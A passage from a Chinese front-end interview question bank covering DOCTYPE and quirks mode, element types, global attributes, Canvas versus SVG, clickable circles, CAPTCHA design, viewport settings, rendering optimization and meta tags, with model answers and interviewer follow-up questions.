    没区别,都合法。<br> 是空元素,结尾那个斜杠在 HTML 解析里会被忽略。但 <div /> 不行,div 不是空元素,斜杠会被忽略,它等于只写了一个开始标签。

  • JSX 看起来像 XHTML,它有哪些同样严格的规则?

    所有标签必须闭合,<img> 要写成 <img />;只能有一个根节点,多个要包一层或者用 <></>。不同的是 JSX 的属性名用驼峰,比如 className、onClick。

  • 现在还有地方要写 XHTML 吗?

    很少。EPUB 电子书的正文要求是 XHTML,内嵌在 XML 文档里的内容也是。普通网页开发基本不会碰到,知道它的来龙去脉就够了。

# 16 Doctype作用? 严格模式与混杂模式如何区分?它们有何意义?

⚡ 30 秒速记

  • DOCTYPE 不是 HTML 标签,作用只有一个:决定浏览器用标准模式还是怪异模式渲染
  • 写 <!DOCTYPE html> → 标准模式;缺失或写成很老的声明 → 怪异模式(Quirks Mode)
  • 用 document.compatMode 判断:CSS1Compat 是标准模式,BackCompat 是怪异模式
  • 怪异模式下的典型差异:百分比高度怎么算、width: 100 这种不带单位的值会生效、表格里的行高和图片间隙;IE 下还会切到 border-box 盒模型
  • 还有「近乎标准模式」,用过渡型 DOCTYPE 触发,只在表格单元格里图片的行高上和标准模式不同

DOCTYPE 的作用就是告诉浏览器用哪种模式渲染页面:写了 <!DOCTYPE html> 走标准模式,漏了或写错就进怪异模式。 怪异模式是为了让上世纪的老网页别乱掉,浏览器故意模仿当年的错误行为,比如不带单位的 width: 100 也当 px 用、百分比高度的算法不一样,IE 里连盒模型都会变成 border-box。判断当前模式最快的办法是在控制台打 document.compatMode,CSS1Compat 是标准模式。新项目只需要记住一条:文档第一行写 <!DOCTYPE html>,前面连注释和空行都别放。

  • DOCTYPE(文档类型声明)的作用是告知浏览器的解析器使用哪种HTML或XHTML规范来解析文档。
  • 严格模式(标准模式)是指浏览器按照HTML或XHTML的规范严格解析和渲染页面,以确保页面在不同浏览器中具有一致的展示效果和行为。在严格模式下,浏览器会按照规范要求的方式处理HTML和CSS代码。
  • 混杂模式(怪异模式或兼容模式)是指浏览器使用较宽松的解析方式来渲染页面,以模拟旧式浏览器的行为,以保证旧版网站的兼容性。在混杂模式下,浏览器可能会容忍一些不符合规范的HTML和CSS`代码,导致页面展示和行为在不同浏览器中有差异。
  • 通过DOCTYPE声明的类型来区分严格模式和混杂模式。当DOCTYPE声明为严格的HTML或XHTML规范时,浏览器会进入严格模式;当DOCTYPE声明缺失或格式不正确时,浏览器会进入混杂模式。
  • 严格模式和混杂模式的意义在于确保页面在不同浏览器中的一致性和兼容性。严格模式使开发者能够使用更规范的HTML和CSS代码,减少兼容性问题,提高网页的可靠性和可维护性。混杂模式则用于支持旧版网站,以确保这些网站在新版浏览器中能够正确显示和运行。

💬 面试官追问

  • 怎么快速确认一个页面当前是什么渲染模式?

    控制台执行 document.compatMode,返回 CSS1Compat 是标准模式,BackCompat 是怪异模式。Firefox 里在页面信息面板也能直接看到。

  • 两个页面用同一份 CSS,一个布局正常,另一个 height: 100% 不生效,为什么?

    先看是不是有一个页面缺了 DOCTYPE。怪异模式和标准模式对百分比高度的计算不一样,同样的样式结果会不同。补上 <!DOCTYPE html> 再对比,别先去改 CSS。

  • DOCTYPE 前面放了一行注释或者 PHP 输出的空白,会有问题吗?

    <!DOCTYPE html> 前面的空白和注释按规范不影响,但老 IE 遇到前面有内容就会进怪异模式。服务端模板输出的 BOM 或调试信息也可能引发问题,最稳妥是让它保持第一行。

  • 老系统依赖怪异模式,补上 DOCTYPE 之后布局乱了,怎么推进?

    别一次性全切。按页面分批补 DOCTYPE,每批截图对比布局差异,重点看表格、百分比高度和盒模型相关的地方。新页面一律标准模式,老页面跟着迭代逐步改。

  • 都 2026 年了,还有必要知道怪异模式吗?

    知道个大概就行。你可能在接手老项目、或者有人把 HTML 片段直接当页面返回时撞上它,症状就是「样式明明一样,布局就是不对」,第一时间想到查 DOCTYPE 能省很多时间。

# 17 行内元素有哪些?块级元素有哪些? 空(void)元素有那些?行内元素和块级元素有什么区别?

⚡ 30 秒速记

  • 行内:a、span、strong、em、label、img、input、select;块级:div、p、h1~h6、ul、ol、li、table、form、section
  • 空元素:area、base、br、col、embed、hr、img、input、link、meta、source、track、wbr(param 已从规范移除)
  • 块级:独占一行,默认撑满父级宽度,宽高和四个方向的 margin / padding 都生效
  • 行内:不换行、宽度由内容决定,width / height 无效,上下 margin 无效,上下 padding 有背景但不撑开行高
  • 易错:img、input 是行内替换元素,可以直接设宽高;HTML5 已经改用「内容分类」,行内 / 块级其实是 display 的默认值

块级元素独占一行、默认撑满父容器,宽高都能设;行内元素在一行里挨着排,宽度由内容决定,设 width 和 height 没用。 常见块级有 div、p、h1、ul、li,行内有 a、span、strong,空元素是 br、hr、img、input、meta、link 这些没有内容、不需要结束标签的。有个容易答错的点:img 和 input 虽然是行内元素,却可以直接设宽高,因为它们是替换元素,内容来自外部资源。另外行内和块级本质上只是 display 的默认值,想要「在一行里排又能设宽高」就用 inline-block 或者 flex。

  • 行内元素有:a b span img input select strong等。
  • 块级元素有:div ul ol li dl dt dd h1 h2 h3 h4等标题标签、p 段落标签等。
  • 空元素(void元素)是指没有内容的HTML元素。常见的空元素包括:<br> 换行元素、<hr> 水平线元素、<img> 图片元素、<input> 输入框元素、<link> 样式表引用元素、<meta> 元数据元素等。
  • 行内元素不可以设置宽高,不独占一行,它们会按照从左到右的顺序排列,并尽可能占据内容所需的空间。
  • 块级元素可以设置宽高,独占一行,会自动换行。块级元素会在页面上以独立的块形式展现,并占据其父元素的整个宽度。

💬 面试官追问

  • 给 span 写了 width: 120px; height: 40px,没效果,怎么改?

    span 是行内元素,宽高不生效。改成 display: inline-block,既保持在一行内排列,又能设宽高;如果它在 flex 容器里,作为 flex 子项本身就能设宽高。

  • img 也是行内元素,为什么能设宽高?

    它是替换元素,显示的内容来自图片资源而不是文字,浏览器本来就知道它的固有尺寸,所以宽高能直接生效。input、video、iframe 也一样。

  • 给 a 标签加了 padding: 10px,背景变大了,但上下行的文字被盖住了,为什么?

    行内元素的上下 padding 会画出来,但不参与行高计算,所以背景会溢出盖到相邻行上。想让上下 padding 撑开空间,改成 inline-block。

  • 图片放在 div 里,底部总有几像素的空隙,为什么?

    img 默认是行内元素,按基线对齐,基线下面留了给字母 g、y 下伸部分的空间。给图片加 display: block 或者 vertical-align: middle 就没了。

  • p 里面能放 div 吗?

    不能。p 只能包含短语内容,解析器遇到 <div> 会自动把 p 关掉,生成的 DOM 和你写的不一样。反过来 a 在 HTML5 里可以包块级元素,比如把整张卡片包成一个链接。

# 18 HTML全局属性(global attribute)有哪些

⚡ 30 秒速记

  • 全局属性 = 任何 HTML 元素都能写的属性,不挑标签
  • 高频:id、class、style、title、lang、dir、hidden、tabindex、data-*、draggable、contenteditable
  • 无障碍也算:role、aria-*,读屏器靠它们理解组件
  • data-* 是官方给的自定义属性入口:data-user-id → el.dataset.userId
  • tabindex:-1 能聚焦但不进 Tab 顺序,0 按 DOM 顺序进,正数会插队,别用

全局属性就是哪个标签都能写的通用属性,最常见的是 id、class、style、title、lang 和自定义数据属性。 我答这题一般会分三类说:标识和样式(id、class、style),语义和交互(lang、dir、hidden、tabindex、contenteditable、draggable),还有无障碍的 role 和 aria-*。其中最实用的是 data-*,往元素上挂业务数据,JS 里用 dataset 直接读,比如 data-user-id 读出来就是 el.dataset.userId,不用自己造 userid="1" 这种非法属性。

  • class:为元素设置类标识
  • data-*: 为元素增加自定义属性
  • draggable: 设置元素是否可拖拽
  • id: 元素id,文档内唯一
  • lang: 元素内容的的语言
  • style: 行内css样式
  • title: 元素相关的建议信息

💬 面试官追问

  • 想在按钮上存一个商品编号,直接写 goodsid="12" 不行吗?

    能跑,但不合规范,校验工具会报错,以后标准真加了同名属性还会冲突。写成 data-goods-id="12",取值用 btn.dataset.goodsId,注意连字符会转成驼峰,取出来永远是字符串。

  • hidden 属性和 display: none 有什么区别?

    效果基本一样,hidden 就是浏览器默认样式里的 display: none。坑在优先级很低:你给元素写了 display: flex,hidden 就失效了,常见做法是全局补一句 [hidden] { display: none !important; }。

  • 一个 div 做的自定义下拉框,键盘 Tab 怎么都切不过去,怎么办?

    div 默认不可聚焦,加 tabindex="0" 让它按 DOM 顺序进入 Tab 序列,再配 role="listbox" 和键盘事件。能用原生 button 或 select 就别自己造,省掉一堆无障碍补丁。

  • title 能用来放重要的操作说明吗?

    不能。title 只在鼠标悬停时出现,手机上根本看不到,读屏器也不一定念。关键信息要写在页面可见文字里,title 只当锦上添花。

  • contenteditable 做富文本编辑器,会遇到什么问题?

    各浏览器生成的 HTML 不一致,回车有的插 div 有的插 p,粘贴还会带进一堆外部样式。真做编辑器基本都用 ProseMirror、Slate 这类框架,自己维护数据模型,只把 contenteditable 当输入层。

# 19 Canvas和SVG有什么区别?

⚡ 30 秒速记

  • 一句话:Canvas 是位图、画完就忘;SVG 是矢量、每个图形都是 DOM 节点
  • Canvas:像素级控制,放大会糊,没有图形对象,点击要自己算坐标做命中检测
  • SVG:无损缩放,能直接绑事件、写 CSS、做无障碍,节点多了 DOM 开销大
  • 选型看数量和交互:几千上万个元素或逐帧动画用 Canvas;图标、图表、需要点选的用 SVG
  • 高清屏 Canvas 要按 devicePixelRatio 放大画布,不然在 DPR=2 的屏上是糊的

Canvas 像一块画板,画上去就是像素,浏览器不记得你画过什么;SVG 更像一组积木,每个圆、每条线都是独立的 DOM 节点。 所以 SVG 能无损缩放,能直接给某个 circle 绑 click、改颜色;Canvas 想做交互只能自己存一份图形数据,点击时按坐标算命中了谁,再整块重绘。性能上两者是反的:元素少、交互多选 SVG,元素上万或者每帧都在变,比如粒子、游戏、热力图,选 Canvas。ECharts 两种渲染器都支持,就是这个道理。

  • svg绘制出来的每一个图形的元素都是独立的DOM节点,能够方便的绑定事件或用来修改。canvas输出的是一整幅画布
  • svg输出的图形是矢量图形,后期可以修改参数来自由放大缩小,不会失真和锯齿。而canvas输出标量画布,就像一张图片一样,放大会失真或者锯齿

Canvas:

  • Canvas 是一个HTML5元素,用于在网页上绘制图形、动画和图像。
  • 通过使用JavaScript绘制图形,Canvas提供了一个像素级的绘图环境。
  • Canvas 绘制的是位图,它是由一系列的像素组成的,所以在放大时会出现像素失真或锯齿效应。
  • Canvas 不会保留绘图的对象,绘制完成后,图形将被保存为一张图片。
  • 由于绘制是基于像素的,Canvas 更适合处理像素级的图像处理、游戏开发等场景。
  • Canvas 不支持事件绑定,需要通过监听鼠标、键盘等事件来实现交互。

SVG:

  • SVG 是一种基于XML的矢量图形格式,用于在网页上绘制图形和图像。
  • SVG 使用XML描述图形,它由一系列的矢量对象组成,可以方便地修改和操作。
  • SVG 绘制的是矢量图形,它基于数学描述,可以自由缩放和变换而不会失真或产生锯齿效应。
  • SVG 保留了绘图的对象,可以对其进行修改、删除和动态操作。
  • 由于是矢量图形,SVG 更适合处理图表、数据可视化和可缩放的图形场景。
  • SVG 支持事件绑定,可以方便地为图形元素添加交互行为。

综上所述,Canvas适用于像素级绘图和动画,而SVG适用于矢量图形和可缩放的图像。选择使用Canvas还是SVG取决于具体的需求和场景。

💬 面试官追问

  • 流程图用 Canvas 画的,产品要求点哪个节点哪个节点变色,怎么做?

    Canvas 没有节点可以找,只能自己维护一份图形数组,点击时用 ctx.isPointInPath() 或矩形范围判断命中谁,改它的颜色后整块重绘。节点一多这套管理就很重,这类需求一开始选 SVG 会省很多事。

  • 散点图有 5 万个点,用 SVG 拖动缩放卡得不行,为什么?

    5 万个 circle 就是 5 万个 DOM 节点,每次缩放都要样式计算、布局、绘制一遍,主线程扛不住。换 Canvas 渲染,交互上用空间索引(比如四叉树)做命中检测,ECharts 切 renderer: 'canvas' 就行。

  • Canvas 画的图在 Retina 屏上发虚,怎么修?

    画布像素和 CSS 尺寸不一致导致的。按 DPR 放大画布再缩回去:canvas.width = w * dpr; canvas.style.width = w + 'px'; ctx.scale(dpr, dpr),这样一个 CSS 像素对应两个物理像素。

  • 点击 Canvas 里的角色总是命中错对象,先查哪?

    先查坐标换算:event.clientX 要减掉 canvas.getBoundingClientRect().left,画布被 CSS 缩放过还要再乘缩放比。然后看命中顺序,后画的在上层,要从数组末尾往前找。

  • 图表里的文字要能被搜索引擎和读屏器识别,选哪个?

    SVG。里面的 text 是真文字,能选中、能被读;Canvas 对外就是一张图,非要用的话得在旁边补一份隐藏的文字描述或者 aria-label。

# 20 HTML5 为什么只需要写 <!DOCTYPE HTML>

⚡ 30 秒速记

  • HTML 4.01 基于 SGML,得用 DTD 告诉解析器语法规则,所以声明里有一长串 URL
  • HTML5 不基于 SGML,解析规则直接写进标准,不需要引用 DTD
  • <!DOCTYPE html> 现在只剩一个作用:让浏览器进标准模式,不写就掉进怪异模式
  • 不区分大小写,必须放在文档最前面,前面有注释或空白之外的东西都可能出问题
  • 怪异模式下盒模型、行高、表格样式都会按老 IE 规则走,排版问题一堆

因为 HTML5 不再基于 SGML,不需要引用 DTD,那行声明留下来只是为了让浏览器用标准模式渲染。 以前 HTML 4.01 要写 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" ...>,是在告诉解析器去哪里找语法定义。HTML5 的解析算法直接写在标准里,浏览器自己就会,所以声明可以缩成最短的 <!DOCTYPE html>。说白了这是个模式开关:不写的话浏览器会进怪异模式,按老 IE 的盒模型算尺寸,很多样式会莫名其妙不对。

  • HTML5 不基于 SGML,因此不需要对DTD进行引用,但是需要doctype来规范浏览器的行为
  • 而HTML4.01基于SGML,所以需要对DTD进行引用,才能告知浏览器文档所使用的文档类型

下面是对此进行更详细的解释:

  • 在 HTML5 中,不再基于 SGML(Standard Generalized Markup Language)标准,而是定义了自己的独立规范。由于不再使用 SGML,因此不需要引用外部的 DTD(文档类型定义)来验证文档的结构和规则。
  • 因此,HTML5 只需要简单地使用 <!DOCTYPE HTML> 声明,它是一个标准模式的声明,告诉浏览器当前文档遵循的是 HTML5 规范。这样,浏览器就可以根据 HTML5 规范来解析和渲染文档,而无需引用外部的 DTD。
  • 相比之下,HTML4.01 基于 SGML 标准,需要通过 <!DOCTYPE> 声明来指定所使用的 DTD,例如 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">。这个 DTD 提供了规范的文档结构和规则,以确保浏览器正确解析和显示文档。
  • HTML5 的简化 <!DOCTYPE HTML> 声明的设计,使得创建和编写 HTML 文档更加简单和直观。此外,这也有助于提高浏览器的兼容性,因为所有的浏览器都会将文档解析为 HTML5,无需根据 DTD 进行选择和适配。
  • 总结起来,HTML5 不再依赖 SGML,因此不需要引用外部 DTD,只需使用简单的 <!DOCTYPE HTML> 声明来指定文档类型,规范浏览器的行为。

💬 面试官追问

  • 把 <!DOCTYPE html> 删了,页面会有什么变化?

    浏览器进怪异模式(Quirks Mode)。最明显的是盒模型按老 IE 算,width 包含 padding 和 border;还有 body 里百分比高度、表格字体继承这类细节都会变。控制台里 document.compatMode 会变成 "BackCompat"。

  • 怎么确认页面现在到底是标准模式还是怪异模式?

    控制台执行 document.compatMode,"CSS1Compat" 是标准模式,"BackCompat" 是怪异模式。Firefox 的页面信息里也能直接看到渲染模式。

  • 声明前面多了一行 <!-- 注释 -->,会不会掉进怪异模式?

    现代浏览器下注释和空白不会影响,HTML5 解析规则允许。老 IE 时代前面有任何东西都可能触发怪异模式,所以一般还是规规矩矩把它放第一行。

  • 有些老页面写的是 XHTML 1.0 Transitional 的声明,现在需要改吗?

    它也会触发标准模式或近乎标准模式,不改也能跑。但近乎标准模式下表格单元格里图片的行高处理不同,可能多出几像素空隙,顺手换成 <!DOCTYPE html> 最省心。

# 21 如何在页面上实现一个圆形的可点击区域?

⚡ 30 秒速记

  • 三种做法:等宽高元素 + border-radius: 50%、SVG 的 circle、JS 算点击点到圆心的距离
  • 现代浏览器里 border-radius 会影响命中,圆角外面的四个角点不中这个元素
  • 需要裁成任意形状并让命中跟着变,用 clip-path: circle(50%)
  • JS 方案:(x - cx)² + (y - cy)² <= r²,坐标统一用 clientX 配 getBoundingClientRect()
  • map + area shape="circle" 是老方案,坐标是写死的像素,响应式很难适配

最简单的是给一个宽高相等的元素加 border-radius: 50%,现代浏览器里点击区域会跟着变圆。 很多人以为圆角只改外观、四个角还能点中,其实标准规定圆角外的区域不接收这个元素的事件,点击会落到下面的元素上。要注意的是子元素:父元素没写 overflow: hidden,子元素超出圆形的部分照样能点。图形是矢量或者要改半径,用 SVG 的 circle;在 Canvas 里或者要精确判断,就自己算点击点到圆心的距离和半径比较。

有几种方法可以实现一个圆形的可点击区域:

  1. 使用 SVG(可缩放矢量图形):可以使用 SVG 元素 <circle> 创建一个圆形,并通过添加事件监听器实现点击功能。
<svg>
  <circle cx="50" cy="50" r="50" onclick="handleClick()"></circle>
</svg>
  1. 使用 CSS border-radius:通过设置一个具有相等宽度和高度的元素,并将 border-radius 属性设置为 50% 可以创建一个圆形区域
<div class="circle" onclick="handleClick()"></div>
.circle {
  width: 100px;
  height: 100px;
  border-radius: 50%;
}
  1. 使用纯 JavaScript 实现:通过计算鼠标点击的坐标与圆心的距离,判断点击位置是否在圆形区域内。
<div id="circle" onclick="handleClick()"></div>
#circle {
  width: 100px;
  height: 100px;
  background-color: red;
  border-radius: 50%;
}
function handleClick(event) {
  var circle = document.getElementById("circle");
  var circleRect = circle.getBoundingClientRect();
  var circleCenterX = circleRect.left + circleRect.width / 2;
  var circleCenterY = circleRect.top + circleRect.height / 2;
  var clickX = event.clientX;
  var clickY = event.clientY;
  var distance = Math.sqrt(
    Math.pow(clickX - circleCenterX, 2) + Math.pow(clickY - circleCenterY, 2)
  );
  if (distance <= circleRect.width / 2) {
    // 点击在圆形区域内
    // 执行相应操作
  }
}

💬 面试官追问

  • 一个 100px 的圆形按钮,点外接矩形的角落也触发了点击,可能是什么原因?

    圆角本身不会让角落命中,先查事件绑在谁身上:如果绑在外层方形容器上,或者里面有个没被裁剪的方形子元素、伪元素,角落就会触发。给圆形元素加 overflow: hidden,或者把监听挪到圆形元素自己身上。

  • 地图上要放可点击的圆形热点,半径和颜色还会动态改,用什么?

    SVG 的 circle,直接改 r 和 fill 属性就行,事件也绑在它身上,命中区域天然是圆的。如果热点有几千个,就换 Canvas 自己做命中检测。

  • 宽 120px 高 80px 的元素写 border-radius: 50%,会是什么形状?

    椭圆。百分比圆角是按宽和高分别算的,横向半径 60px,纵向 40px。要正圆就保证宽高相等,或者用 aspect-ratio: 1。

  • 用坐标算命中的圆形按钮,页面一滚动就点不准了,为什么?

    坐标系混用了。getBoundingClientRect() 是相对视口的,要配 event.clientX/clientY;如果拿 pageX 去比,就多算了滚动距离,没滚动时正常,一滚就偏。

  • clip-path: circle(50%) 和 border-radius: 50% 选哪个?

    普通圆形按钮用 border-radius,能配 box-shadow 和 border。clip-path 会把阴影、边框外沿一起裁掉,但能裁任意形状,比如多边形热区,命中区域也跟着裁剪结果走。

# 22 网页验证码是干嘛的,是为了解决什么安全问题

⚡ 30 秒速记

  • 本质是人机验证(CAPTCHA):区分真人和脚本
  • 防的是批量行为:撞库/暴力破解、批量注册、刷票、灌水、短信轰炸、爬虫
  • 演进:字符图片 → 滑块/点选 → 无感验证(鼠标轨迹、设备指纹、风险评分)
  • 关键在后端校验:前端拿到 ticket,后端拿 ticket 去验证码服务核验,只在前端判通过等于没做
  • 它只是抬高攻击成本,还要配限流、风控、短信频控;纯图片验证码要给读屏用户留替代方案

验证码就是一道人机验证,用来区分操作的是真人还是脚本,防的是批量自动化攻击。 典型场景是登录防撞库、注册防批量开号、发短信防轰炸、投票防刷票。现在主流已经不是扭曲字符了,而是滑块、点选,甚至无感验证,靠鼠标轨迹和设备环境打分,低风险用户直接放行。前端最容易犯的错是只在前端判断「滑块拖到位了」就放行,正确做法是前端拿到一个 ticket,提交时带给后端,后端再去验证码服务核验,核验通过才执行业务。

时序图 · 3 个参与者 / 10 步
alt 核验通过伪造或已用过用户浏览器用户浏览器验证码服务验证码服务业务后端业务后端加载验证组件1下发滑块或点选题2提交轨迹和答案3返回一次性 ticket4登录请求带上 ticket5服务端核验 ticket6合法且未使用7执行登录8核验失败9拒绝请求10只在前端判断通过等于没做

网页验证码(CAPTCHA)的作用是用于区分用户是计算机还是人的公共全自动程序。它主要解决以下安全问题:

  1. 防止恶意破解:通过要求用户输入验证码,可以防止恶意用户使用自动化程序(如暴力破解工具)对密码、账号进行不断的尝试,提高系统的安全性。
  2. 防止刷票和论坛灌水:验证码可以阻止自动化程序大规模注册账号、刷票或在论坛上进行大量无意义的发帖,保护网站资源免受滥用。

通过要求用户正确地输入验证码,可以验证用户的身份,确保其为真实的人类用户,而不是自动化程序或恶意攻击者。验证码通常会显示一张包含随机字符、数字或图形的图片,用户需要根据图片中的内容进行识别并输入正确的答案。

这样,网页验证码有效地提高了网站和应用程序的安全性,防止了各种恶意行为的发生。

💬 面试官追问

  • 前端滑块验证通过后,直接调登录接口,有什么问题?

    攻击者绕过页面直接调登录接口就行了,验证码形同虚设。登录接口必须带上验证码返回的 ticket,由后端调验证码服务核验,ticket 还要一次性、短时效,用过即废。

  • 短信验证码接口被刷,一晚上发了几万条,除了加图形验证码还能做什么?

    按手机号、IP、设备分别限频,比如同一号码 60 秒一条、一天 10 条;发送前先过人机验证;异常时段直接触发更严格的验证或者熔断。只靠验证码挡不住打码平台。

  • 为什么现在很多网站登录都看不到验证码了?

    用的是无感验证,后台根据设备指纹、行为轨迹、IP 信誉打分,低风险直接放行,高风险才弹滑块或点选。体验好,而且对正常用户几乎零打扰。

  • 图形验证码对视障用户不友好,怎么处理?

    提供语音验证码或其他替代方式,验证码图片也要有说明性的 alt。另一个方向是用无感验证,大部分用户根本不用交互。

  • 验证码图片的答案能放在前端吗,比如接口直接返回正确字符?

    绝对不行,等于把答案交给脚本。答案只存在服务端,和会话或一次性 key 绑定,前端只拿到图片。

# 23 viewport

⚡ 30 秒速记

  • 移动端标配:<meta name="viewport" content="width=device-width, initial-scale=1">
  • 不写的话移动浏览器默认按 980px 宽排版再整体缩小,字小得看不清
  • 别写 user-scalable=no / maximum-scale=1:禁止缩放伤无障碍,iOS 10 起 Safari 默认也会忽略它
  • 刘海屏:viewport-fit=cover 配 env(safe-area-inset-bottom) 留安全区
  • viewport 只管视口和缩放,不会帮你做响应式,布局还得靠 flex、媒体查询、相对单位

viewport 管的是移动端「按多宽来排版」和初始缩放比例。 手机浏览器为了兼容桌面网页,默认把布局视口设成 980px 左右,排完再缩小塞进屏幕,所以不写这个 meta 页面会小得看不清。写上 width=device-width, initial-scale=1,布局宽度就等于设备的 CSS 像素宽度,iPhone 上一般是 375 到 430。很多老模板会顺手加 user-scalable=no,我一般会删掉,禁止缩放对视力不好的用户很不友好,iOS 上也早就不生效了。

 <meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
  // width    设置viewport宽度,为一个正整数,或字符串‘device-width’
  // device-width  设备宽度
  // height   设置viewport高度,一般设置了宽度,会自动解析出高度,可以不用设置
  // initial-scale    默认缩放比例(初始缩放比例),为一个数字,可以带小数
  // minimum-scale    允许用户最小缩放比例,为一个数字,可以带小数
  // maximum-scale    允许用户最大缩放比例,为一个数字,可以带小数
  // user-scalable    是否允许手动缩放
  • 延伸提问
    • 怎样处理 移动端 1px 被 渲染成 2px问题?

局部处理

  • meta标签中的 viewport属性 ,initial-scale 设置为 1
  • rem按照设计稿标准走,外加利用transform 的scale(0.5) 缩小一倍即可;

全局处理

  • mata标签中的 viewport属性 ,initial-scale 设置为 0.5
  • rem 按照设计稿标准走即可

💬 面试官追问

  • 写了 width=device-width,页面在手机上还是有横向滚动条,为什么?

    viewport 只决定布局视口多宽,不会改你的布局。肯定是有元素写死了宽度,比如 width: 1200px 或者一张没限宽的大图。DevTools 里找撑破的元素,加 max-width: 100% 或改成弹性布局。

  • 产品要求页面不能被双指放大,写 user-scalable=no 就行了吧?

    我不建议,这是无障碍红线,而且 iOS 10 之后 Safari 默认忽略它。如果是怕双击放大导致误触,加 touch-action: manipulation 就能去掉双击缩放,还保留双指缩放。

  • 移动端 1px 边框看着比设计稿粗,怎么处理?

    DPR=2 的屏上 1px 是 2 个物理像素。局部处理用伪元素画线再 transform: scaleY(0.5);iOS 8+ 和新版 Chrome 也可以直接写 0.5px,老安卓可能显示不出来,要做兜底。

  • 有人提议全局 initial-scale=0.5 再按设计稿 750 写,一劳永逸解决 1px,你怎么看?

    老的 flexible 方案就是这么干的,但它会改变整页缩放语义,和第三方组件、iframe、position: fixed 都可能冲突,官方也早就不推荐了。现在用 vw 或 rem 做适配,细线局部处理就够。

  • 底部固定按钮在 iPhone 上被横条挡住了一半,怎么改?

    viewport 加 viewport-fit=cover,按钮写 padding-bottom: env(safe-area-inset-bottom),横条区域就会被让出来。不加 viewport-fit=cover 的话 env() 取到的是 0。

# 24 渲染优化

⚡ 30 秒速记

  • 先分清两段:加载阶段(资源怎么更快到)和更新阶段(DOM 改了之后怎么少干活)
  • 加载:CSS 放 head,JS 放底部或加 defer;gzip/br、CDN、缓存;首屏关键资源用 preload
  • 更新:先读后写避免强制同步布局;多个样式改动切 className;动画只动 transform / opacity
  • 大列表上虚拟滚动;重计算搬进 Web Worker;低优先级任务用 requestIdleCallback
  • 老规矩要更新:base64 只适合几 KB 的小图标,iframe 用 loading="lazy",空的 src/href 会白发一次请求

渲染优化我会分两段说:资源加载阶段让首屏更快出来,页面更新阶段让浏览器少做布局和绘制。 加载阶段就是老三样:样式放头部、脚本 defer、压缩加 CDN 加缓存,首屏大图用 preload 或 fetchpriority="high"。更新阶段的核心是少触发回流:批量改样式就切 className,读布局信息和写样式分开,动画只用 transform 和 opacity 走合成层。长列表上虚拟滚动,几万条数据的计算扔给 Web Worker,别堵主线程。

  • 禁止使用iframe(阻塞父文档onload事件)
    • iframe会阻塞主页面的Onload事件
    • 搜索引擎的检索程序无法解读这种页面,不利于SEO
    • iframe和主页面共享连接池,而浏览器对相同域的连接有限制,所以会影响页面的并行加载
    • 使用iframe之前需要考虑这两个缺点。如果需要使用iframe,最好是通过javascript
    • 动态给iframe添加src属性值,这样可以绕开以上两个问题
  • 禁止使用gif图片实现loading效果(降低CPU消耗,提升渲染性能)
  • 使用CSS3代码代替JS动画(尽可能避免重绘重排以及回流)
  • 对于一些小图标,可以使用base64位编码,以减少网络请求。但不建议大图使用,比较耗费CPU
    • 小图标优势在于
      • 减少HTTP请求
      • 避免文件跨域
      • 修改及时生效
  • 页面头部的<style></style> <script></script> 会阻塞页面;(因为 Renderer进程中 JS线程和渲染线程是互斥的)
  • 页面中空的 href 和 src 会阻塞页面其他资源的加载 (阻塞下载进程)
  • 网页gzip,CDN托管,data缓存 ,图片服务器
  • 前端模板 JS+数据,减少由于HTML标签导致的带宽浪费,前端用变量保存AJAX请求结果,每次操作本地变量,不用请求,减少请求次数
  • 用innerHTML代替DOM操作,减少DOM操作次数,优化javascript性能
  • 当需要设置的样式很多时设置className而不是直接操作style
  • 少用全局变量、缓存DOM节点查找的结果。减少IO读取操作
  • 图片预加载,将样式表放在顶部,将脚本放在底部 加上时间戳
  • 对普通的网站有一个统一的思路,就是尽量向前端优化、减少数据库操作、减少磁盘IO

💬 面试官追问

  • 有人把一张 200KB 的背景图也转成 base64 塞进 CSS,说能减少请求,你怎么看?

    我会拦。base64 体积会大三分之一,而且 CSS 是阻塞渲染的,等于让首屏多等这 260KB 多;图片也没法单独缓存。一般只有 2KB 以下的小图标才内联,构建工具里配个 limit 就行。

  • 商品列表一次改几十个节点的好几个样式,逐条写 style 还是切 className?

    切 className。浏览器会合并连续写操作,所以逐条写不一定多回流,但容易中间夹一个读操作引发强制布局,而且样式散在 JS 里难维护。只有运行时算出来的值,比如拖拽位置,才写 style。

  • 第三方客服 iframe 拖慢了首屏,又不能去掉,怎么办?

    加 loading="lazy",或者首屏渲染完再用 JS 设 src。iframe 会推迟主页面的 load 事件,还会抢连接,放到用户真正需要时再加载最划算。

  • 页面里有 <img src="">,为什么值得专门清掉?

    空 src 在部分浏览器里会被解析成请求当前页面地址,白白多一次请求,严重时还会带着 cookie 打到后端。没有地址时就别渲染这个属性,模板里给默认值要小心。

  • 列表页滚动掉帧,Performance 里看到大量 Recalculate Style,从哪下手?

    先看节点数量,几千个节点就上虚拟滚动;再看选择器有没有很深的后代选择器和频繁切换的祖先 class,一改就让整棵子树重算。给列表项加 contain: content 也能缩小重算范围。

# 25 meta viewport相关

⚡ 30 秒速记

  • 新项目必写四个:charset、viewport、title、description
  • <meta charset="utf-8"> 要在 head 前 1024 字节内,晚了浏览器可能已经按错的编码解析
  • 按需加:theme-color(地址栏配色,可配 media 分亮暗)、robots(noindex / nofollow)
  • 分享卡片靠 og:title、og:image 这类 Open Graph 标签,微信等平台各有规则
  • X-UA-Compatible、renderer、HandheldFriendly、x5-* 私有标签基本失效,别整段照抄

现在一个页面真正需要的 meta 就四个:charset、viewport、title 和 description,其他按需加。 charset 要放在 head 最前面,标准要求出现在前 1024 字节内,不然浏览器可能先用错误编码解析,中文就乱码了。viewport 管移动端排版宽度,description 会出现在搜索结果摘要里。网上流传的那份长清单大多是 IE 和国产浏览器时代的产物,X-UA-Compatible、renderer 这些现在写了也没用,我新建项目会直接删掉。

下面这份清单是 2015 年前后的历史资料

其中 X-UA-Compatible、apple-mobile-web-app-*、renderer、HandheldFriendly、MobileOptimized、UC/QQ 的 x5-* 私有标签绝大多数已经失效或被厂商废弃,新项目不要照抄。

今天真正需要写的只有四个:charset、viewport、title、description,再按需加 theme-color 和 robots。

<!DOCTYPE html>  <!--H5标准声明,使用 HTML5 doctype,不区分大小写-->
<head lang=”en”> <!--标准的 lang 属性写法-->
<meta charset=’utf-8′>    <!--声明文档使用的字符编码-->
